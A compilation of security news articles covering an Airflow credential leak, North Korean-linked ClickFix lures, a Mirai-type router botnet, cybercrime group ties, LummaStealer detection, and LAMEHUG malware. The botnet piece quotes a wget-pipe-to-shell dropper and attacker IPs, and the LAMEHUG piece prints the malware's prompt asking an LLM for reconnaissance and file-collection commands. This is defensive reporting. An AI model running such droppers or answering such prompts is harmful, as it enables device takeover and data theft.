A critical security flaw has emerged in Apache Airflow 3.0.3, exposing sensitive connection information to users with only read permissions.

The vulnerability, tracked as CVE-2025-54831 and classified as “important” severity, fundamentally undermines the platform’s intended security model for handling sensitive data within workflow connections.

Apache Airflow version 3.0 introduced significant changes to how sensitive information in connections is managed, implementing a “write-only” model designed to restrict access to sensitive connection fields exclusively to Connection Editing Users.

This security enhancement was intended to prevent unauthorized access to critical authentication details, database credentials, and API keys stored within Airflow connections.

However, the implementation in version 3.0.3 contained a critical flaw that reversed these security improvements.

The vulnerability allows users with standard READ permissions to access sensitive connection information through both the Airflow API and web user interface.

This exposure occurs regardless of the AIRFLOW__CORE__HIDE_SENSITIVE_VAR_CONN_FIELDS configuration setting, which is specifically designed to mask sensitive connection details from unauthorized users.

The breach effectively renders the security configuration ineffective, creating a significant risk for organizations relying on Airflow’s access controls.

Apache security analysts identified the vulnerability after observing unexpected behavior in connection handling mechanisms.

The flaw specifically affects Apache Airflow version 3.0.3, while earlier Airflow 2.x versions remain unaffected since they follow different connection handling protocols where exposing sensitive information to connection editors was the documented behavior.

Connection Access Control Mechanism

The vulnerability stems from improper implementation of the connection access control system introduced in Airflow 3.0.

When users with READ permissions query connection details via the /api/v1/connections/{connection_id} endpoint or access the connections interface through the web UI, the system incorrectly returns sensitive fields including passwords, tokens, and connection strings that should remain hidden.

{
  "connection_id": "postgres_default",
  "conn_type": "postgres",
  "host": "localhost",
  "login": "airflow",
  "password": "exposed_sensitive_data",
  "schema": "airflow",
  "port": 5432
}

Organizations using Apache Airflow 3.0.3 should immediately upgrade to version 3.0.4 or later to address this security vulnerability and restore proper access controls for sensitive connection information.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Apache Airflow Vulnerability Exposes Sensitive Details to Read-Only Users appeared first on Cyber Security News.

A sophisticated cybercriminal alliance between malware operators and covert North Korean IT workers has emerged as a significant threat to corporate organizations worldwide.

This hybrid operation, known as DeceptiveDevelopment, represents a dangerous convergence of traditional cybercrime and state-sponsored activities, targeting software developers and cryptocurrency professionals through elaborate social engineering campaigns.

The DeceptiveDevelopment group, active since at least 2023, operates through a symbiotic relationship with North Korean IT workers in what researchers have termed the WageMole activity cluster.

This collaboration creates a dual-layered threat where malware operators pose as legitimate recruiters to compromise job seekers’ systems, while North Korean IT workers subsequently use stolen credentials and identities to secure employment positions at overseas companies.

The campaign primarily targets developers working on cryptocurrency and Web3 projects across Windows, Linux, and macOS platforms.

The operation employs sophisticated social engineering techniques, including the recently observed ClickFix method, where victims are directed to fake job interview websites.

These sites present elaborate application forms designed to build trust and commitment from potential victims.

In the final step, victims encounter a fabricated technical issue requiring them to execute terminal commands that appear to fix camera access problems but instead download and execute malware payloads.

WeliveSecurity analysts identified the group’s primary toolset as consisting of multiplatform malware families including BeaverTail, InvisibleFerret, WeaselStore, and the complex TsunamiKit framework.

The malware demonstrates varying levels of technical sophistication, compensating for technical limitations through operational scale and creative social manipulation.

ClickFix Social Engineering Mechanism

The ClickFix technique represents a particularly insidious evolution in the group’s social engineering arsenal. This method begins with directing victims to professionally designed fake job interview platforms that closely mimic legitimate recruitment processes.

The websites contain detailed application forms with extensive questions about the applicant’s background, skills, and career objectives, creating a sense of legitimacy and investment.

The psychological manipulation intensifies as victims spend considerable time completing the lengthy application, fostering a commitment bias that makes them more likely to comply with subsequent requests.

The final application step requests video recording capabilities, triggering a carefully orchestrated sequence of events. When the system generates a fake camera access error, victims are presented with operating system-specific “troubleshooting” instructions.

These instructions direct users to execute terminal commands under the guise of resolving technical issues.

The commands vary based on the victim’s operating system but consistently result in downloading and executing malicious payloads.

This technique proves particularly effective because it leverages the victim’s desire to complete what appears to be a legitimate professional opportunity while exploiting their trust in technical support procedures.

The execution chain demonstrates sophisticated understanding of victim psychology, combining professional presentation with technical deception to bypass security awareness training that typically focuses on obvious phishing attempts rather than elaborate, context-aware social engineering scenarios.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Malware Operators Collaborate With Covert North Korean IT Workers to Attack Corporate Organizations appeared first on Cyber Security News.

A sophisticated botnet operation has emerged, employing a Loader-as-a-Service model to systematically weaponize internet-connected devices across the globe.

The campaign exploits SOHO routers, IoT devices, and enterprise applications through command injection vulnerabilities in web interfaces, demonstrating an alarming evolution in cybercriminal tactics.

The malicious infrastructure operates by targeting unsanitized POST parameters in network management fields including NTP, syslog, and hostname configurations.

Attackers inject shell commands into these vulnerable input fields, enabling remote execution through minimal one-line droppers such as wget -qO- http://IP/rondo.*.sh | sh.

This approach maximizes success rates across diverse device architectures while maintaining operational stealth.

The botnet systematically progresses through multiple attack phases, beginning with automated authentication probes using default credentials like admin:admin combinations.

Upon successful access, the operation deploys fetch-and-execute chains that download RondoDoX, Mirai, and Morte payloads from distributed command infrastructure spanning multiple IP addresses including 74.194.191.52, 83.252.42.112, and 196.251.73.24.

CloudSEK analysts identified this campaign through exposed command and control logs spanning six months of operations.

The security firm’s TRIAD platform discovered logger panels containing detailed attack vectors and infrastructure deployment patterns, providing unprecedented visibility into the botnet’s operational methodology.

The malware demonstrates remarkable adaptability through multi-architecture payload support, utilizing BusyBox utilities for cross-platform compatibility.

The operation targets Oracle WebLogic servers, embedded Linux systems, and specific router administration interfaces including wlwps.htm and wan_dyna.html pages.

Additionally, the campaign exploits known CVEs including CVE-2019-17574 (WordPress Popup Maker), CVE-2019-16759 (vBulletin pre-auth RCE), and CVE-2012-1823 (PHP-CGI query string handling).

Command Injection Attack Mechanism

The botnet’s primary infiltration method centers on exploiting web GUI fields through sophisticated command injection techniques.

The operation specifically targets network configuration parameters where administrators typically input server addresses and system settings.

When devices process these malformed inputs without proper sanitization, the injected commands execute with system privileges.

The attack chain utilizes multiple fallback protocols to ensure payload delivery success. If HTTP-based wget commands fail, the system automatically attempts TFTP and FTP transfers using commands like ftpget and tftp.

This redundancy, combined with hosting identical payloads across numerous IP addresses, creates a resilient distribution network that survives individual server takedowns.

Post-compromise, the botnet conducts comprehensive device fingerprinting through ReplyDeviceInfo modules, collecting MAC addresses, hostnames, firmware versions, and available services.

This reconnaissance determines which architecture-specific binaries to deploy and whether devices should be retained for cryptocurrency mining, DDoS participation, or sold as access credentials to other threat actors.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Botnet Loader-as-a-Service Exploiting Routers and IoT Devices to Deploy Mirai Payloads appeared first on Cyber Security News.

The cybersecurity landscape continues to evolve as three of the most notorious English-speaking cybercrime groups—LAPSUS$, Scattered Spider, and ShinyHunters—have been found to share significant operational connections, tactical overlaps, and direct collaboration since 2023.

These relationships have created what security experts now describe as a highly adaptive cybercrime ecosystem that poses an advanced persistent threat to global enterprises.

Recent developments reveal that the lines between these groups have become increasingly blurred, with their shared proclivity for social engineering, overlapping membership, and coordinated attacks on high-profile targets demonstrating a level of organization previously unseen in cybercrime operations.

The attack vectors employed by these groups are not particularly sophisticated in terms of technical complexity but showcase remarkable coordination and exploitation of both human weaknesses and technological misconfigurations.

Their primary method of gaining access to target networks remains social engineering-based attacks, where actors impersonate employees or contractors to deceive IT help desks into granting unauthorized access.

Despite their “retirement” announcement in September 2025, intelligence suggests these groups continue operating discreetly, having established substantial credibility and a proven track record of successful breaches that allows them to leverage their commanding reputation for private extortion without immediate media amplification.

Resecurity analysts identified the most concrete evidence of collaboration in August 2025 when a Telegram channel explicitly combined the brands and apparent memberships of all three groups.

This chaotic channel, eventually banned by Telegram, was used to coordinate threats, tease data leaks, and market a new Ransomware-as-a-Service offering dubbed “shinysp1d3r.”

The operational division of labor became clear: ShinyHunters confirmed that Scattered Spider provided initial access to targets while they handled data exfiltration and dumps, with LAPSUS$ members serving as active participants in high-profile campaigns including the Salesforce and Snowflake breaches.

The groups’ association with “The Com” collective further demonstrates their interconnected nature.

This predominantly English-speaking cybercriminal ecosystem operates as a loosely organized network encompassing a broad range of actors, mainly teenagers and individuals in their twenties.

The amplification of successful data breaches through official Com channels suggests shared ideology, membership, resources, and possible operational coordination, prompting the FBI to issue warnings about the risks associated with joining such movements.

Social Engineering and Multi-Factor Authentication Bypass Techniques

The trinity of hacker groups has refined sophisticated social engineering methodologies that serve as their primary attack vector, with particular expertise in bypassing modern security controls that many organizations consider robust.

Their approach to multi-factor authentication (MFA) circumvention demonstrates the evolution of social engineering from simple phishing to complex, multi-stage psychological manipulation campaigns.

LAPSUS$ pioneered the use of SIM swapping combined with MFA bombing techniques, also known as “push fatigue,” where attackers flood victims with authentication requests until they approve one out of frustration or confusion.

This technique has been widely adopted by Scattered Spider and increasingly used by ShinyHunters in their Salesforce-focused campaigns.

The groups employ sophisticated vishing (voice phishing) operations where attackers impersonate IT staff members, often armed with detailed organizational knowledge obtained through reconnaissance or previous breaches.

Their help desk impersonation techniques involve extensive preparation, including gathering employee names, organizational structures, and internal terminology through social media reconnaissance and data broker services.

Attackers often call help desks claiming to be employees who have lost their devices or been locked out of accounts, providing enough authentic-seeming information to convince support staff to reset credentials or provide access.

In OAuth token abuse scenarios, particularly targeting Salesforce environments, the groups exploit the trust relationship between applications and cloud services.

The technical implementation involves tricking users into authorizing malicious “Connected Apps” in Salesforce, which generates long-lived OAuth tokens that grant persistent access to data while bypassing MFA and other security controls.

These tokens, once obtained, allow attackers to access customer relationship management (CRM) data at scale, as demonstrated in ShinyHunters’ claims of stealing over 1.5 billion Salesforce records from 760 companies.

The abuse of OAuth tokens associated with legitimate integrations like Salesloft and Drift showcases how attackers exploit the interconnected nature of modern cloud environments to maintain persistent access while appearing as legitimate application traffic.

Infostealers play a crucial role in their authentication bypass strategy, with the groups utilizing malware families including Azorult, Lumma, RedLine, Raccoon, and Vidar to harvest not only usernames and passwords but also active session cookies.

These cookies allow attackers to hijack authenticated sessions and gain immediate access to systems without triggering login alerts or MFA challenges.

The sophisticated nature of these attacks demonstrates how traditional security measures often fail against well-orchestrated social engineering campaigns that combine technical exploitation with psychological manipulation, making detection and prevention increasingly challenging for organizations relying solely on technological solutions.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Researchers Uncovered Connections Between LAPSUS$, Scattered Spider, and ShinyHunters Hacker Groups appeared first on Cyber Security News.

LummaStealer has emerged as one of the most prolific information-stealing malware families in recent years, targeting victims across multiple industry verticals including telecommunications, healthcare, banking, and marketing.

The sophisticated malware gained widespread notoriety in early 2025 when cybercriminals extensively deployed it in coordinated campaigns worldwide.

Although law enforcement operations in May 2025 temporarily disrupted its activities, new variants have begun surfacing again, demonstrating the persistent and evolving nature of this threat.

The malware’s resurgence has prompted security researchers to develop more advanced detection methodologies capable of identifying previously unknown variants.

Unlike traditional signature-based detection systems that rely on known indicators, modern threats like LummaStealer require innovative approaches that can adapt to the malware’s evolving tactics, techniques, and procedures.

The stealer’s ability to continuously morph its delivery mechanisms and obfuscation techniques has made it particularly challenging for conventional security solutions to detect effectively.

Netskope researchers recently identified a new LummaStealer campaign and conducted an extensive technical analysis of the sample identified by hash 87118baadfa7075d7b9d2aff75d8e730.

The analysis revealed sophisticated code obfuscation techniques, advanced evasion mechanisms designed to bypass security defenses, and complex persistence mechanisms that allow the malware to maintain its foothold on infected systems.

This comprehensive examination provides critical insights into how the malware operates and the methodologies required to combat such evolving threats.

Advanced ML-Powered Detection Framework

The detection of LummaStealer variants requires a sophisticated multi-layered approach that combines traditional static analysis with cutting-edge machine learning techniques.

Netskope’s Advanced Threat Protection platform utilizes a Cloud Sandbox environment enhanced with purpose-built ML models specifically designed to identify novel and targeted malware samples.

The system executes suspicious files in isolated Windows environments while capturing comprehensive runtime behavioral data including process trees with API calls and DLL interactions, registry modifications, file operations, and network activity patterns.

The core innovation lies in the implementation of a tree transformer architecture that analyzes the intricate patterns within malicious process trees and their associated behavioral features.

This approach employs tree positional embeddings to encode each node and its position within the execution hierarchy, creating a comprehensive understanding of the malware’s operational flow.

Runtime behavioral features such as registry modifications, file operations, and network communications are encoded into feature vectors and combined with process tree embeddings to generate final malware classifications.

The transformer-based architecture enables the detection system to capture generalized behavioral patterns rather than relying solely on specific signatures or indicators. This methodology prevents overfitting to training data while significantly enhancing the ability to detect previously unseen threats.

When analyzing the LummaStealer sample, the ML model successfully identified malicious behavior through process tree embeddings combined with suspicious runtime activities, demonstrating the effectiveness of this approach against sophisticated evasion techniques.

The analyzed sample was categorized as a Nullsoft Scriptable Install System (NSIS) installer file, which upon extraction revealed multiple components including an obfuscated NSIS script and various payload files disguised with .m4a extensions.

The malware leveraged legitimate AutoIt scripting language for malicious purposes, highlighting a common tactic where threat actors repurpose trusted system utilities to evade detection while carrying out their objectives.

[NSIS].nsi: Obfuscated NSIS script, will invoke Parish.m4a to initiate the chain
Parish.m4a: obfuscated batch file
Other *.m4a: Blobs for next stage payload

The sophisticated evasion techniques employed by this variant initially resulted in a very low detection rate of only 9 out of 73 antivirus engines on VirusTotal, demonstrating the effectiveness of its anti-analysis mechanisms and the critical need for advanced ML-based detection approaches to identify such threats.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post LummaStealer Technical Details Uncovered Using ML-Based Detection Approach appeared first on Cyber Security News.

A sophisticated new threat has emerged in the cybersecurity landscape that represents a significant evolution in malware development.

The LAMEHUG malware family, first identified by CERT-UA in July 2025, marks a concerning advancement in cyber attack methodology by integrating artificial intelligence directly into its operational framework.

Unlike traditional malware that relies on static, pre-programmed instructions, LAMEHUG leverages large language models hosted on Hugging Face to dynamically generate commands for reconnaissance, data theft, and system manipulation in real-time.

This innovative approach transforms how malicious software operates by enabling attacks that can adapt their behavior based on the specific environment they encounter.

The malware targets Windows environments through carefully crafted spear-phishing campaigns, disguising itself as legitimate applications such as AI image generators or canvas tools.

Once deployed, LAMEHUG systematically harvests sensitive information including credentials, system configurations, and documents while continuously evolving its attack patterns to evade detection mechanisms.

Splunk analysts identified that LAMEHUG’s deployment strategy involves sophisticated social engineering techniques, presenting itself through filenames like “AI_generator_uncensored_Canvas_PRO_v0.9.exe” and “AI_image_generator_v0.95.exe” to capitalize on current interest in AI-powered applications.

The malware’s ability to generate contextually appropriate commands through LLM queries makes it particularly dangerous, as it can adapt to different system configurations and security measures without requiring updates from its operators.

Dynamic Command Generation Through LLM Integration

The most distinctive feature of LAMEHUG lies in its unprecedented use of large language models to generate malicious commands dynamically.

The malware connects to the Qwen 2.5-Coder-32B-Instruct model through HuggingFace’s API infrastructure, essentially weaponizing legitimate AI services for malicious purposes.

This integration occurs through the LLM_QUERY_EX() function, which constructs specific prompts designed to elicit Windows administrative commands from the AI model.

The malware operates by sending carefully crafted prompts that instruct the LLM to act as a “Windows systems administrator” and generate commands for specific malicious objectives.

For system reconnaissance, LAMEHUG prompts the AI to create commands that establish the directory “C:\ProgramData\info” and gather comprehensive system information including hardware specifications, running processes, network configurations, and Active Directory domain details, all consolidated into a single text file.

def LLM_QUERY_EX():
    prompt = {
        'messages': [
        {
            'role': 'Windows systems administrator',
            'content': 'Make a list of commands to create folder C:\\Programdata\\info and to gather computer information,
            hardware information, process and services information, networks information, AD domain information, to execute in
            one line and add each result to text file c:\\Programdata\\info\\info.txt. Return only commands, without markdown'}],
        'temperature': 0.1,
        'top_p': 0.1,
        'model': 'Qwen/Qwen2.5-Coder-32B-Instruct' }

For data collection, the malware issues subsequent prompts requesting commands to recursively copy office documents, PDFs, and text files from user directories including Documents, Downloads, and Desktop folders to the centralized collection point.

The AI-generated responses utilize Windows utilities such as systeminfo, wmic, whoami, and dsquery for reconnaissance, while xcopy.exe facilitates document harvesting across multiple folder paths.

This dynamic approach ensures that the malware can adapt to different Windows environments and execute contextually appropriate commands based on the AI model’s understanding of system administration tasks.

The collected information is subsequently exfiltrated through multiple channels, including SSH connections to remote servers using hardcoded credentials, or through HTTPS POST requests to command-and-control infrastructure.

Some variants encode their LLM prompts in Base64 format and utilize different exfiltration endpoints, demonstrating the malware’s operational flexibility and the operators’ understanding of evasion techniques.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post LLM-Based LAMEHUG Malware Dynamically Generate Commands for Reconnaissance and Data Theft appeared first on Cyber Security News.